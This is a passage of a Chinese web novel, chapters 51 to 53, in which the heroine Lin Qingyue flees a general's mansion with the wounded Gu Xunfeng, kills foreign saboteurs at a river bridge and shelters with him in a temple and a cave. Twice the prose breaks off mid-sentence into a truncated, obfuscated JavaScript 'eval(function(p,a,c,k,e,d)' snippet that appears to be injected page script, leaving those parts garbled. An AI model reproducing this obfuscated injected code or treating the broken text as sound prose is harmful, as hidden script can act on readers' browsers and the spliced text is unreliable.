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“孟放歌此人心思缜密,猜你或许还想故技重施,想用你把我引出来,故而不会动你。”顾寻风压着声音同她解释,“届时,我会救你出去的。” 说完,那道身影再次动了动,似是要离开。 林清月轻轻说了句:“等等……” 然后从浴桶中起身,随意扯了个布条当做浴巾往身上一裹,就绕过屏风过去。 她朝着那抹赤红色的背影快速追过去,抓住了他袖口,不等他回头来看,率先展开双臂,从背后将他抱住,低言与他道:“其实,在你走的那天晚上,我就传信回去了,你不要逞强,会有人来帮你的。” 顾寻风愣了愣,手落在空中,没好意思去碰她,“……我知道了。” “还有,焦焦她和我队员一起逃出去了,你不用担心她的安危。” “我不担心她。” 说罢,顾寻风尝试着朝前走,想逼迫她松手,但她不仅没松,反而抱得更紧,语气慌张:“你告诉我,你究竟是什么打算,不然我不安心。” 顾寻风犹豫了一下,终究还是抬抬手,覆在那手背上,一边说话,一边掰开了她的手。 “既然你已找好退路,那便好。我行事向来不顾及这些,这回有你在,我会更加顺利的,我也会尽早救你出去。” 林清月却抓着他衣袖,怎么都不肯放手,“你带我走吧,就现在……” 顾寻风似乎是在思索这件事的可能性,没有回话。 见有希望,林清月便闪身到他面前,捏住他双臂,一脸恐惧:“我今天差点就死了!我真的好害怕,我不想待在这里了,你带我走,好不好……好不好?” 她闪着泪光的眼眸直直望过来,顾寻风耳尖窜上一丝绯红,眼神木木的,不敢往其他地方多看,只能盯着她那双眼,然后心下一软。 “我……想想。” 林姑娘从未对他这般撒娇过,此时定是怕极了,也对,林姑娘只是一个姑娘家,一个手无缚鸡之力的女孩子,怎么可能跟他这血海中摸爬滚打出来的一样呢。 可他如今一直被追杀,还与其他人失散,林姑娘跟着他,比在这将军府还要危险。 不过…… 不过经此一遭,林姑娘大概,不会再把那个齐锋眠当朋友了吧? 这也算是一件好事。 想到这里,顾寻风更加心软。 “也好,既然林姑娘的朋友都见了,留在这没什么用处……”顾寻风眼神挪开,望向一边,手里还解开外袍给她披上,“我想……我也可以保护好你……” 林清月眼睛闪了闪:“你答应了?” 而后也不等他回答,把身上的衣服塞回他怀里就跑走,顾寻风好奇看过去,见她抓了衣裳就绕回屏风后面,于是顾寻风立马把身子转回去不再看。 不久后,林姑娘衣衫规整,跑过来站在他面前。 她一袭白衣,长发都来不及挽,就那么散落着。 “我准备好了!” “……” “怎么了?”见顾寻风愣着不动,林清月发问。 顾寻风率先把眼神挪走看向别处,没说话,抬脚走向烛台,一手拔剑,随着剑风起落,烛台熄灭。 刹那间,屋顶砖瓦响动,门外也传来脚步声,林清月刚追到他身后,就被他一把拉进怀里,转入屏风,恰时门被人踢开。 顾寻风亦抬脚,把屏风踢倒。 顾寻风拉着她一路奔走,将军府内哗然,灯火瞬间都亮了起来,他们正躲在孟放歌屋旁的一处水榭,隐蔽在黑暗里。 “你们怎么看人的?” “将军,是属下失职!” “别失不失职了,人抓到没?最后在哪消失的?有没有逃出府?” “府内警卫森严,应当不会那么快逃出去,但现如今他们藏在哪,我也不敢断定……” 孟放歌抓住重点:“他们?” 侍女道:“是的,将军,姑娘有人接应,是与一个红衣服男子一同逃走的,那男子逃跑和躲藏的技术出神入化,我们实在追不上……” 水榭里,某个拐角,林清月望着波光粼粼的湖面,湖中还有些鱼在游动。 “逃出去后,你打算去哪?” 顾寻风望向她,黑暗中,他眸中情绪不明,“我还要最后一件事未做,你愿意陪我去北河一趟吗?” 林清月疑惑:“去那做什么……” 既然打听到了她的去向,应当也知道她曾经去过北河附近,若是如此,顾寻风定然也是去过,难道是发现瀛洲的人了? 果不其然,顾寻风说:“姜国曾经被瀛洲攻过,根据那个君王的反应,我猜测姜国不会胆大到违背祖训跟瀛洲合作,但瀛洲若真要动手,必然是从姜国这一小国开始——” “本是同一片土地上的,我也不愿姜国百姓被瀛洲那群匹夫屠戮,既然这样,帮衬一二未尝不可。” 林清月轻笑:“你看得明白。” 她望向远处正在指挥家仆的孟放歌,压住嘴角,微微叹气。 “……如今战事暂停,孟将军负责修缮北河桥梁,我打探过,她也知晓瀛洲的人已然渗入,但仍不确定究竟是故意不发现,还是打算后面一并打击,也不确定究竟是不是没与瀛洲合作。” 顾寻风分析:“瀛洲几人悄悄渗入,致使桥梁修缮错误,这种事对姜国是一个巨大的打击,无论是人力还是经济上,哪怕他们的确曾经合作,经此一事,怕也是要分崩离析,已经不用太担心。总之,不能让无辜的百姓卷入其中,这关乎生死。” 听了他的话,林清月重新看向他:“那为何还要再去一趟?” 顾寻风淡然垂眸。 “顺路,且……” “什么?” “再不去就晚了。” 51. 暂宿寺庙 北河仍旧是波涛汹涌,即便夜晚也不消停。 林清月被顾寻风带离将军府,直奔北河,远远的就看见北河未完工的大桥,以及大桥旁鬼鬼祟祟的人影。 远远望去,大概四五个人。 “我还以为就两人……” “我之前来时,混了进来打探,他们一行一共五人,是打算今晚对桥梁动手——” 林清月皱眉:“孟将军不是盯着吗,竟没发现。” 顾寻风道:“不可能时刻看着,况且,瀛洲的人也不是傻子,他们或许也发现被人盯上了,所以更谨慎。” 林清月笑着打趣:“那你挺厉害的呀,顾大将军。” 他们二人此时就在屋顶上趴着,听了这话,顾寻风眸光一转望着她,胳膊碰了碰她的,扬起下巴对着那边几人调笑:“倒也没那么厉害,毕竟有一件事还得夫人帮忙。之前商量好的,夫人不会反悔吧?” 林清月哼一声:“当然——我是那种不讲信用的人吗?” 说到这,她忽然挪挪身子凑近,勾住他胳膊,眨眨眼睛可怜兮兮道:“夫君会保护好我的吧,不会趁着我去打探消息偷偷跑掉吧。” 顾寻风一怔,朝着反方向偏头,不去看她,扯出胳膊轻咳一声:“你去就是了,与我合作从未有人亏过,你尽管放心。” 林清月笑弯眼,凑过去,趁着他不注意在他脸上亲了一口,而后又毫不在意道:“谢谢夫君先带我下去。” “……” 顾寻风震惊地盯住她,与她布满笑意的眼眸碰上时,却又立马移开,脸颊爬上些热。他道一声:“知道了。”随后立即拽着她手臂,把她放在路上,再一眨眼,他人就不见了。 动作真快。 此时已晚,街道静谧,也没什么灯光,林清月站稳身子,理理衣袖,径直往河边走去,选了片较为干净的地界便席地而坐。 不久,身后窸窸窣窣。 林清月停下拨弄着杂草的手指,往后望去。 一个瀛洲的人站在身后。 她歪歪头:“嗯?” 那人抬手在她面前晃了晃,见她没什么反应,转身朝另一侧招手,随后又跑来四人,嘴里说着他国语言。 不过林清月听得懂。 “傻子?” “此等美人,带回去献给天皇,是个不错的选择。” “不如我们先……” “怎可献给天皇残次品?!” 月光洒下来,照得女子面容苍白,与一头墨发对比鲜明,与一身白衣相互映衬,衬得整个人都如月华般洁白无瑕。林清月直直应对着他们的打量,面色不变。 她缓缓的,再次开口:“你们是谁?” 其中一人中文流利,对她道:“我们是这附近居民,一家五兄弟,最近应召修缮北河桥,故而出现在此。不知姑娘是从何而来?” 只见这姑娘讷讷道:“不知。” 那几人又用回自己的语言。 “果然是傻子。” “这样就好办了,我们把她直接打晕带走吧。” “留伤不好,试试诱导。” 说着,一人蹲下,面上是和善的笑容:“我们五人家就在附近,可以收留姑娘几日,一个人在外危险也多,不太好的。” 林清月摇头,开始胡诌:“我是从一个很华丽的房子里跑出来的,那里太闷,我不想回去,我喜欢待在外面。” “是从皇宫出来的?” 林清月装傻:“那是什么?” 几人对视几眼。 “看来是宫女……不对,这容貌与气质,莫不是哪个被冷落而疯掉的妃妾?” “很有可能。” “这样的话不就更好了,本来我们就打算对姜国下……” “别多嘴!” 正说着,忽而听旁边的女子惊呼一声,掩口瞪目:“你们不是姜国人!” 而后就见她起身要跑。 但女子身躯薄弱,其中二人一下就将她压住,他人的手攥在手腕,林清月疼得倒吸口气。 素白的衣裙沾染上泥土,她柔弱无骨跌坐在地,指着他们怒斥:“王上说你们是坏人……你们是坏人!你们要做什么?!” 中文好的那人见她如此不听话,便破口大骂:“死婆娘,果然是宫廷里的人……不久后,你口中的王上也会变成一堆骨头,你最好识相点!” 林清月瞪着他,脱口而出:“傻逼。” “……” 那人没听懂,但下意识觉得她说得不是什么好话,于是俯身扯了她头发,抬手,似是想给她一巴掌教训。 却就在这时,远处飞来箭矢。 带着劲风刺中面前人的脖子。 其余人震惊看向箭矢飞来的方向,只看见草木轻轻摇晃。 还不等去看看,那跌在地上的女子继而动作,手里是不知从哪拔出的短剑,此刻正刺入最近一人的小腿肚里,那人惊呼着后退,捂腿倒在地上打滚。 林清月趁着他们还没反应过来,立刻起身往回跑,拎起衣裙,朝着刚刚箭矢过来的方向狂奔。 那几人反应快,当即追上来。 又是三个箭矢,擦着她的发丝飞过,命中了两人,有一人被擦伤。 林清月顺着向后望去,陡然被追上抓住手腕。 只一眨眼,另一只手就被人从后抓住,带着她的手向上,剑尖直指对面人的脖子,一刀毙命,她甚至都还没反应过来,对方似乎也没反应过来,瞪着眼倒地。 她呆呆转头,看见顾寻风的侧脸。 红裳在月色下竟显得有些可怖,但配着他冷淡且俊美的脸,又有些艳…… ?不对!现在不是关注这个的时候。 林清月抽出自己的手,眼眸一转,猝不及防看见地上的尸体,下意识就丢下短剑,慌忙后退,抬手去擦脸上的血滴。 那边,顾寻风检查了躺在地上四人的气息,又把腿受伤的那人绑起来,才拍拍手走到她面前,再次抓起她的手,“走吧,一会有人要追来了。” 在来之前,顾寻风就猜测孟放歌一定不是毫无察觉,甚至已经发现他们,不进行抓捕只是想看看他们究竟要做什么。 林清月道一声:“等等。” 她从百宝袋拿出一纸一笔,写上刚刚听到的情报,把纸张拿石头压在地上,才站起身跟着他走。 林清月被拉着跑了许久,体力不支了,顾寻风就停一停让她喘息,然后接着跑。 本来刚刚一条人命从手上流逝还让她有些恍惚,现在,哪还顾得上这些。 跑都快跑吐了。 到底有没有人追着,林清月也不清楚,但她相信顾寻风的判断,毕竟当初顾焦焦他们逃走,孟放歌不也没阻止,或许孟放歌本意就不是要对她们做什么。 好不容易跑得远了些,他们寻了个客栈住了一夜。 第二天林清月睡到日上三竿,是被系统音吵醒的。 【恭喜完成任务:结识孟放歌,土木大传承进度30%】 林清月揉揉眼睛起身,脑子宕机了一会,半晌才恢复清醒。 看来孟放歌是看到她留的信了。 虽然走得匆促,但她又不是完全没有准备。 所谓结识,不过是让对方认可自己。 想明白这点后,林清月立马就写了封信,信中陈述了自己来此的目的,以及对他们的歉意,当然,更多笔墨都花在她对桥梁建筑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不知这场你追我跑究竟持续了多长时间,最终,顾寻风在一个暗巷将他们甩掉,拉着她进了一个破败的寺庙内,二人躲在佛像后面,用草垛遮盖了一下。 “好了……应该可以勉强休息一夜。”林清月把干草放在身下理好,“他们刚搜过这里,况且我们又做了假踪迹,他们不会回来的,只会越追越远。” 顾寻风应声:“你休息会吧。” 林清月觉得不太好意思,便说:“我们轮流守着。”说着,她靠近了坐在他身旁,又道:“我睡眠浅,总之也睡不好的,我总不能就让你一个人……” 她看了眼顾寻风。 而且她觉得顾寻风面色不太好,只是现在太暗,并看不清。 她思及先前听到的情报,顾寻风早便受了伤的,怎么可能那么快好,他们一路被人追着,难免动手。 想着,她又开始撒娇,扯扯他衣袖:“况且我怕你先前的伤没好,夫君,我担心你呀。” 顾寻风偏头轻轻笑了一下:“又说漂亮话。” “我是说的实话!” “‘夫君’……也是实话?” “……” 林清月被问得一怔,躲开他的眼神。 好在顾寻风也没追问,只是解释道:“只是不敢在这时候睡觉,也睡不着。” 林清月想到预知梦的事,问:“还会做梦吗?” 顾寻风犹豫了一下才稍稍点头。 林清月道:“我抱抱你,就好了。” 52. 战损将军 他们躲在暗处,只有几丝微弱的月光透过草垛照射进来,根本不足以看见人的神色,林清月只能望着他久久不挪开的眼神,而后缓缓靠近,见他没有躲开,于是伸手将他抱住。 两人身体的温度透过衣物连接在一起,在这阴暗潮湿的角落里,倒也没那么冷了。 林清月靠在他身前,眼睫轻轻垂下,耳边是他不太稳的呼吸声,在这静谧的时刻格外明显。 她静静等待着,对方却始终没有回应她的拥抱。 她都数不清这是第几次不死心了。 她只是想证明,或许顾寻风对她也有那么一点别的感情。 不然就觉得很不甘心。 可顾寻风始终是那样,与她的距离感不曾消减半分。 这让她恼怒,对自己恼怒。 为什么一直不放弃? 明明一开始就是利用,他们都是如此,明明之后的所有,也都是基于她认为跟着顾寻风更好解锁任务。 她不明白。 为什么? 她也算是阅人无数,见过的漂亮的东西不在少数,偏偏在这里,在这个时候……什么时候动心的,她都不知道。 而就算证明了喜欢或者不喜欢,又怎么样呢,她最后的选择都是回家去。 她不会放弃回家的。 想开了一点后,林清月拉回思绪,手摸到他腰间的火折子,打算拿走,仔细看看顾寻风是伤到了哪。 但手才刚刚碰到,顾寻风却忽然抓住她手腕,把她的手拿开。 她微微挪远些,抬头望向他,“我身上带了些草药,总之现在还算安全,我给你看看伤吧,之前孟将军跟我说,你受伤了,这么多天都没有休息下来,肯定没有好吧。” 借着微弱的光亮,林清月的眼神在他身上游走,接着问:“你伤哪了?” 可他穿的衣裳跟血的颜色太过接近,其实根本看不清。 她上下看着,伸手要扒他衣服。 果不其然,顾寻风再次抓住她手腕阻止了她,她抬头,找出早想好的说辞:“一直拖着会死的,我可不想你死,都还没撑到回去和离呢。” “死不是什么很可怕的事。”顾寻风这么说,看向对面姑娘困惑的眸中,他的手渐渐滑到了她手背上,抓住了她的手,“杀人也一样。” 林清月微愣。 接着,手心一凉。 她看过去,手心多了一柄短剑,凑近看看,见这短剑的样式跟被她丢掉的那柄不一样,虽然光线昏暗,但细细抚摸,也能感觉到上面纹路的精致。 “这是……” “我在他们宫里发现的,觉得材质不错,便拿走了。” 林清月看看这短剑,又看看旁边那把之前从敌营抢走的弓,笑道:“你怎么跟个强盗一样,走到哪抢到哪?” 顾寻风不甚在意:“是他们没本事守住,那也没资格拥有。” 林清月秉承着二十一世纪的价值观,耐心纠正:“不能这样,不管怎么说,这也是别人的东西,不能直接抢走,这跟强盗有什么区别?亏你家里都是当官的,这都不教你……” “那我换个说法。” “?” “这是我的战利品。” 林清月:“……”无敌了。 林清月道:“你这简直就是强词夺理!” 顾寻风:“那我暂且听你的。” 刚决定好好教育他的林清月:“……?” 还没燃起来的火被扼杀在苗苗里。 她完全跟不上这人的脑回路,不知道怎么回话了,憋半天,最终泄气说了声:“好。” 她垂着脑袋,忽而听见头顶传来一声笑,再抬头看过去,顾寻风已经拎着剑起身了,“我去外面看看情况,你先休息。” 走了几步,又回头。 月光恰好洒了些在他侧脸,他眼眸被照得发亮。 “我不会乱抢东西的。嗯……这短剑你收好,若是遇到危险了,也好保护自己。” 看着他绕过佛像出去,林清月的眼睛才挪开,把手中的短剑上上下下看了好几遍才舍得把它放到百宝袋里藏着。 但翻来覆去,睡不着。 她叹口气起身,掏出一把木梳和一个皮筋,捋捋头发,慢悠悠编起麻花,脑子里顺便联系队员。 【叮】 秦安肆:‘?你大晚上不睡觉?’ ‘我逃出来了,现在在逃亡路上。’林清月嘻嘻一笑,‘你不是也没睡。’ 秦安肆说:‘我在烧山寨。’ ‘你们到哪了?’ ‘在蓟城附近,被一个寨子拦住了。不过很快就能解决。’ 林清月思索:“这样啊……我们逃出将军府后,一路往西逃,现在在一个破庙里歇息,不过具体地理位置我也没办法说出来……小六你在不在?” 【宿主我在。】 ‘可以共享位置吗?’ 【稍等宿主~】 系统消失了片刻,不过就几分钟的时间,再次出现时,他们脑海中同时出现了一张简略地图,上面标了七个点,分别是他们几人的位置。 林清月细细看了会。 另外几人的标点高度重合,而罗知之也已经到了胡京,如今他们与秦安肆是最近的,但要过来的话,大概也要一天。 她扒拉了一下地图。 ‘我会尽快动手,和你们会合,你记得要带路让他们往我这边来。’ 秦安肆:‘知道了,我……等一下,江奇云这个蠢货——’ 正说着,秦安肆突然没声了。 林清月在心里叹气,没管,此时手中的麻花也已经编了一大半,到了末梢。 掩盖的草垛在这时响了响。 林清月看过去,看见地上的影子,顺着向上看,与顾寻风对上视线,手中速度加快,与他解释:“我有些睡不着,你不在,心里不安。” 她很快编好麻花,辫子就顺手放在右侧胸口,抬眸,看见顾寻风默不作声已经坐到了一旁,于是靠近过去,“顾寻风。” 顾寻风微微阖上双眼,似乎是不准备理她。 她只是盯了对方一会,然后挪远屁股睡下,而头刚好枕在他一条腿上。她没有去看顾寻风是什么神情,顾寻风也没有让她离开,她就心安理得的这样入睡了。 直至晨曦醒来,她发现顾寻风不知何时离开了,她的脑袋下放着顾寻风那个红色的外衣。 林清月立马起身想出去寻人,眼神落在那件外衣上,却又停了停,她伸出手去,把外衣拿起并展开,蹭着微弱的光亮细细观察,这里摸一摸,那里嗅一嗅…… 终于在一个位置发现了血迹。 貌似是胸口的位置。 难怪都过这么些天了,还是面色不好,伤在这么危险的位置,而且也没好好治过吧。 林清月把衣裳抱起,观察了一下,这里已经没什么东西了,武器估计都在顾寻风身上呢。 她起身去拨开草垛,绕过佛像,抬手遮了遮眼。 四处张望,发现顾寻风就坐在佛像前,一条腿弯曲踩在阶梯上,手指摩挲着剑柄上的花纹,放空似的,不知在想些什么。 林清月轻手轻脚走过去,站在他身后弯腰,骤然出声:“在想什么?” 顾寻风猛地抬头,“你醒了啊。” “嗯哼。”林清月答应一声,俯身凑近,发尾轻轻拂过了他脸颊,“你怎么醒这么早,我还以为你丢下我自己跑了。” “不会的!”顾寻风立马回答,被她满含笑意的眼眸盯着,心下一顿,有些慌张地起身,踌躇了一会后往寺庙外快步走去,“时候不早,该走了,还是尽快离开这个地方为好,他们追不到人是不会善罢甘休的。” “等等我!” 林清月大步跟上,取笑道:“你怎么还害羞了,莫不是我太漂亮,让你动心?” 顾寻风捏紧了剑鞘:“没有的事。” 林清月笑而不语。 半晌,只听到对方又低声道:“不过林姑娘,确实是很漂亮的。” 这倒是真心话了? 林清月偏头看着他,并未回答,随他走了几步,二人出了寺庙,她方才开口喊他:“顾寻风。” 顾寻风低眸看向她:“嗯?” “谢谢你安慰我。” 昨晚,她确实没想到顾寻风会顾念着她的情绪。 顾寻风觉得她是第一次……杀人,所以,安慰她。而她也确实是第一次杀人,第一次看到生命在自己掌心流逝。 从前,她见罗知之折腾那些小白鼠,还只是旁观,并无太大感觉,如今自己亲身经历,那个当下,她心里只迫切的想要一个依靠,当时只有顾寻风在她身旁。 于是她不可避免的,也不受控制的,将注意力都转移到他身上。 最后,又将短剑丢下。 这是逃避。 而顾寻风告诉她,杀人没有错。也在这时,认认真真看着她眼眸说:“但逃避亦不可耻,人非神仙,孰能无感?我只希望,在威胁到自己性命的时刻,你可以毫不犹豫反击回去,而不是因为一些无所谓的礼义廉耻而丢掉性命。” 林清月低头,摊开手掌,看着自己的掌心。 ……而顾寻风告诉她,在特定情况下,利己,并没有错。 她望着被阳光勾勒的掌心纹路,嘴角不自觉勾起笑笑。 那些人要囚她,要祭她,她反击,又有什么错?在女子势弱的时代,她以这样的方式维护自己的性命,当然没有错。 在这种时候,杀人亦是自保…… 不论是以战止战,或是以笔代戈,都是一条通往和平的路,都需要无数的牺牲,更是无谓对错。 “是啊,世人说人命如草芥,眨眼命便没了,在强权压迫下,这样逝去的草芥无数。”林清月捏了捏掌心,缓步走在他身旁,“一个坏人的死,又算得了什么。” 顾寻风的脚步顿了顿,忽然想到什么,“瀛洲奉的是神权。或许,可以以此为突破口……” 林清月看向他:“什么?” 顾寻风:“瀛洲如今野心尽显,我得禀明陛下,多加防备,自然也要想想对策……” 正说着,顾寻风忽然眼眸一凌,抓着她的手就把她往自己这边拉。 林清月猛的撞到他身前,在她身后,一支箭矢飞过。但她还未看清什么,下一秒便被顾寻风横抱起来,好不容易抱住他脖子稳住,才往后望去。 好了,逃亡又开始了。 这些人追的得真快。 蓟城边界的山连绵不绝,他们要避过关隘,必然得像秦安肆他们一样上山,顾寻风就在山间,借着树木植被与他们周旋了许久。 如今严寒还未完全消退,山林间冷得要命,越往里走,寒风就越为刺骨。 “他们貌似没跟上来……” 林清月兢兢业业看着后面的情况,却就在这时,抱着她的人似乎是被绊倒,她也随之掉在地上,只是后背仍旧被护着。 她赶忙爬起来扶着顾寻风,不禁自责:“是我不好,不该让你一直抱着我的……” 顾寻风的脸色很白,唇色也是如此,整张脸就跟纸张一样。他重重吐出口气,拉上她的手起身,“走,他们还会追上来的,得找个隐蔽的地方。” 林清月一边跟着他走一边四处张望,把脑海中那张地图放大再放大,才终于看见一个地方。 她反客为主拉着他,依照地图的路线走,掏出了短剑想划断遮挡的树枝,又觉得这样的痕迹太过刻意,边走边掩盖行走的痕迹,身上被树枝划了不少伤口出来。 顾寻风便只是乖乖跟着,没有发出疑问。 走到前面是崖壁,没有路了,林清月又顺着崖壁走,手在上面摸索许久,终于摸到了被野草和藤蔓遮挡住的洞口。 她快速拿过顾寻风腰间的火折子,进了洞口。 一进洞口便拉着顾寻风坐下,点燃火折子,拉开他衣带,“我得看看你的伤。” 不知是不是没有力气了,顾寻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我跟着陛下谋反,后来又功高盖主,我不死,顾家迟早要被灭。陛下这般行事,便是给了我选择,我死在这里,名声气节,他给我保住,顾家不会有事,二姐也不会……” “你不许胡说了!”林清月眼前有些模糊,她明白了,原来,顾寻风就是抱着必死的心态来的。 她愤然:“你为什么都不告诉我!不跟我商量!不说夫妻合该患难与共,我们也是合作伙伴啊,你不告诉我,是还不信任我吗?” 顾寻风的手指摩挲着她手背,半晌,他道:“怕你死。况且就现在这样,也挺好的……” 林清月:“以后都告诉我,知道吗?”她捏了捏他的脸,“不是在跟你商量,你必须都告诉我,我们两个一起想办法,总比你一个人要强,难不成你觉得我是江奇云那个蠢猪?” 顾寻风被她捏得眼睫一颤,笑了一声:“我当然知道,可是……” 林清月双手猛的用力,把他拉过来,吻上他冰冷苍白的唇瓣。 说是吻,目的只为了咬他一口。 把他嘴唇咬出了血才松开,盯着他的眼睛,一个字一个字从牙缝里挤出来:“你不抗拒,那你就是喜欢我,既然这样,我们还是夫妻,你就不该对我有所隐瞒。” 顾寻风呆在原地,一动不动。 林清月受不了这种沉默,捏住他的脸摇了摇:“你答应我啊!” 顾寻风才回过神来,手搭上她的手腕。 林清月不明所以:“你到底……”是什么想法? 这话没问出来,她看见顾寻风凑近的面庞,心下一顿,将说出口的话都逼了回去。 那张苍白的脸越来越近,却是错开她的脸,埋在了她肩上,而后传来闷闷的声音:“不能。” 林清月痛骂:“混蛋!” 顾寻风声音弱弱的:“嗯,我是混蛋。” 林清月:“……” 顾寻风声音似呢喃,似控诉:“你欺负我病弱,反抗不得。” 林清月咬牙切齿,不惯着:“你自己作的。” 她捏着顾寻风双肩把他推开,让他平躺在地上,“既然已经这样了,就别再做无谓的反抗了,任我摆布吧。” 林清月从百宝袋翻了许多药草出来,挑挑拣拣着给他的伤口涂上,这时候的顾寻风终于乖了下来,没阻止她上药,也或许,是连阻止的力气也没有了。 上完药的时候,顾寻风已经昏了过去,林清月摸摸他额头,果然发烧了。 她看了看秦安肆和自己的位置。 ‘秦安肆,我这个位置有点隐蔽,你们能找到吗?’ ‘我找得到。’ ‘顾寻风受伤了,情况不太好,这样下去怕会造成休克,你们尽快。’ 秦安肆“嗯”了一声,说:‘楚才在队里,罗知之不是还学过医学吗,之前罗知之闲暇时找楚才探讨过,应该不成问题。’ 听此,林清月的心放了一半。 她也不敢放松,握着短剑,一会蹲在顾寻风身旁看看情况,一会在洞口听听有没有什么动静。 林清月不断查看着地图,忙着警惕,几乎都忘了时间,到了夜晚,山洞里越来越冷。 她紧紧握着匕首,把顾寻风抱起来坐着,让他靠在自己身上,想着两人相互取暖,这样不至于太冷。 他们就这样互相依靠着。 不知过了多久,林清月差点睡过去,忽然听见轻轻的声音,说:“有人来了。” 她猛然惊醒,摸了摸怀里人的脸,见他睫毛动了动,睁眼看他,眼里还一片浑浊。 “你醒了……”林清月稍稍放心,然后迅速查看地图。 秦安肆与他们还有些距离呢。 那只可能—— 恰时,外面传来瀛洲人说话的声音。 顾寻风的手已经挪到了剑柄上。 不巧,正好被林清月瞧见,她一巴掌拍过去,凶神恶煞道:“不许动!” 顾寻风被吓到似的,整个身体一颤,有些惊讶地抬眸看她。 53. 危机解除 “你就在这好好待着,我去看看外面什么情况。” 林清月让顾寻风靠在墙壁上,为了防止他自己跑出去,还把他的剑和弓都拿走了。 顾寻风无奈:“没必要吧?” 林清月把弓背好,“我现在,不会信你任何一句话。” 她站起来往外走,步伐小心翼翼,到了洞口还要回头对顾寻风做一个噤声的手势,示意他不许乱动。 顾寻风已经坐了起来,见此点点头回应,乖乖的没出声。 林清月趴在洞口,听着外面的声音,那些人似乎并没有发现这里有洞口,只是痕迹没处理干净,然后他们发现了路上的血迹,所以引得来到这条路上搜索。 秦安肆他们还要些时候才到,他们在这里搜索,迟早会搜到这个洞口的。 林清月听了一会,从脚边拿起一个石子往洞口斜对面的方向丢过去,把他们引到了对面。 随后回到顾寻风面前把他拉起来,“我们得离开这里。” 顾寻风不置可否:“但不太好走。” “总不能坐以待毙。”林清月把他扶了起来,探探他额头,温度还是没降下去,不禁有些担心,“要不我先去把他们引走?” 顾寻风摇头:“不妥,你应付不了他们。” 他们行至洞口。 顾寻风听了听外面的动静,看向身边人道:“把弓给我。” 林清月警惕:“你要做什么?” “我不出去。”顾寻风说。 “你先说你要做什么。”林清月把弓取下拿在手里,“你告诉我我就把弓交给你。” 顾寻风靠在石壁上,低眸望着她手中的弓。 其实此时顾寻风的脸色看着比之前要好了许多,若不是林清月探过他额头,还真会把弓交出去,毕竟此时她也确实没有更好的办法。 但林清月不太信他。 她既已知道顾寻风连死都不怕了,也知道顾寻风根本不在乎自己的性命,又怎么可能在这种时候,还这样让他去冒险。 林清月紧紧抓着弓,时刻防止他来抢,低声威胁:“顾寻风,你最好想清楚再说话,你现在,生死在我手上。” 没想到的是。 顾寻风竟直接说了句:“那我听你的。” 他从前可不是这么容易妥协的人啊。 林清月感到奇怪,但现在的情况容不得她多想,外面的人脚步越来越近了。 她背回弓,把手掏到百宝袋中,另一只手抓住顾寻风的手腕。 在心里默念着拜托,她从百宝袋中成功拿出了一颗烟雾弹,当即朝外丢去—— 烟雾弹没炸开。 是个坏弹…… 林清月两眼一黑,骂了系统一百遍。 外面的声音越来越近,再近的话就要发现洞口了。 林清月看向顾寻风,问:“外面有多少人?” 顾寻风:“约莫十人,跑不了。” 林清月咬咬牙,把他往里面推,“我去引开他们。” 但立马就被顾寻风反抓住手腕,拉到了洞里一个石头后面蹲下躲着,“别出去。” 林清月:“在这里会被发现的!” 顾寻风:“去外面更是送死。” 果然,等到了附近,他们很快就找到了洞口,洞口的遮挡物被他们挥砍掉,他们的脚步声越来越近。 顾寻风的手绕过她腰身,捏到了剑柄上。 林清月按住他的手,紧紧盯着他,眼神威胁他不许动。 但他的手仍不听话,想把剑拔出来,瞥了眼已经走进来的人,再看看自己的剑,最后望向她的眼睛微微点头。 林清月做了个口型:“不可以。” 人那么多,她也帮不上什么忙,只凭他一人怎么可能突破重围逃出去?更何况他还受了伤! 她用尽力气按住他躁动不安的手,眼神与他相撞,谁也不让。 “汪——嗷呜!” 忽然,一声狗叫出现。 二人的手皆一松。 林清月小心翼翼探头看过去,看见小哈正在一人脖子上撕咬。 小哈的身形长大了些,牙齿更加尖利了。 小哈扑倒了一人,紧接着,一柄剑飞过来,直直插入一人脑中。瀛洲人惊呼——“神山的无鞘剑!” 瀛洲信奉神权,见到“神物”,皆是慌张要逃离。 此时倒是让顾寻风找着机会,拔出了剑就冲出去斩下一人。 林清月看了眼空空的剑鞘,边骂边把短剑掏出来,几步跑到顾寻风身后,挡住一个偷袭,毫不犹豫刺入颈中再拔出,回头望着顾寻风拉住他手臂,“你这人简直——” “锵”一声打断了她的话,顾寻风的剑刺在她耳边,挑开瀛洲人的剑,刺入那人胸膛。 “有人来了。” 顾寻风压低的声音在耳边响起。 林清月紧紧抱着小哈,顺着他的目光,望见洞口又来了人,只是还只能看见身影。 “都说了别轻易出来……” 刚准备斥责,林清月忽然听见瀛洲人比他们还他们还要慌张,一口瀛洲话绕口令似的慌张着说话。 “我们中埋伏了!卑鄙的姜国人!肯定是那个神山女子来围剿我们了,这剑就是她的——” “只能拖一拖,等我们的人围过来……” 彼时,一道身影闪电般而来,似是从树上跳下来的,在那些身影的最前面,冲入洞口,几下斩了前面几人,顺手拔了无鞘剑,她拿着双剑,发尾飘逸,衣裳在漆黑的洞中发着光似的,如日临此,照耀黑暗。 此时顾寻风已经捏着她手腕,把剑收回了剑鞘,林清月赶忙就把剑换了个手拿着,并拉着他后退。 剩的几个瀛洲人提剑砍向突如其来的人,被一剑挡下,刀刃相接,仿佛散出火星,她三下五除二就将那几人震开。 身后姗姗来迟的士兵则在补刀。 林清月定睛一看,这些人都是顾寻风带来的士兵。 “不对。”林清月看向顾寻风,微微蹙眉,“你是不是早就发现了有援兵来?” 看小说里,武功高强的人能耳听八方,所以,顾寻风是不是也…… “只是听到有人来,怕是瀛洲人的援兵。” 哦,没有耳听八方啊。 也对,这就是个正常的古代世界。 顾寻风捏住了她手臂,身形有些不稳,呼吸急促,她摸过去,才发现是伤口处流血了,只上过一次药的伤口还是很脆弱。 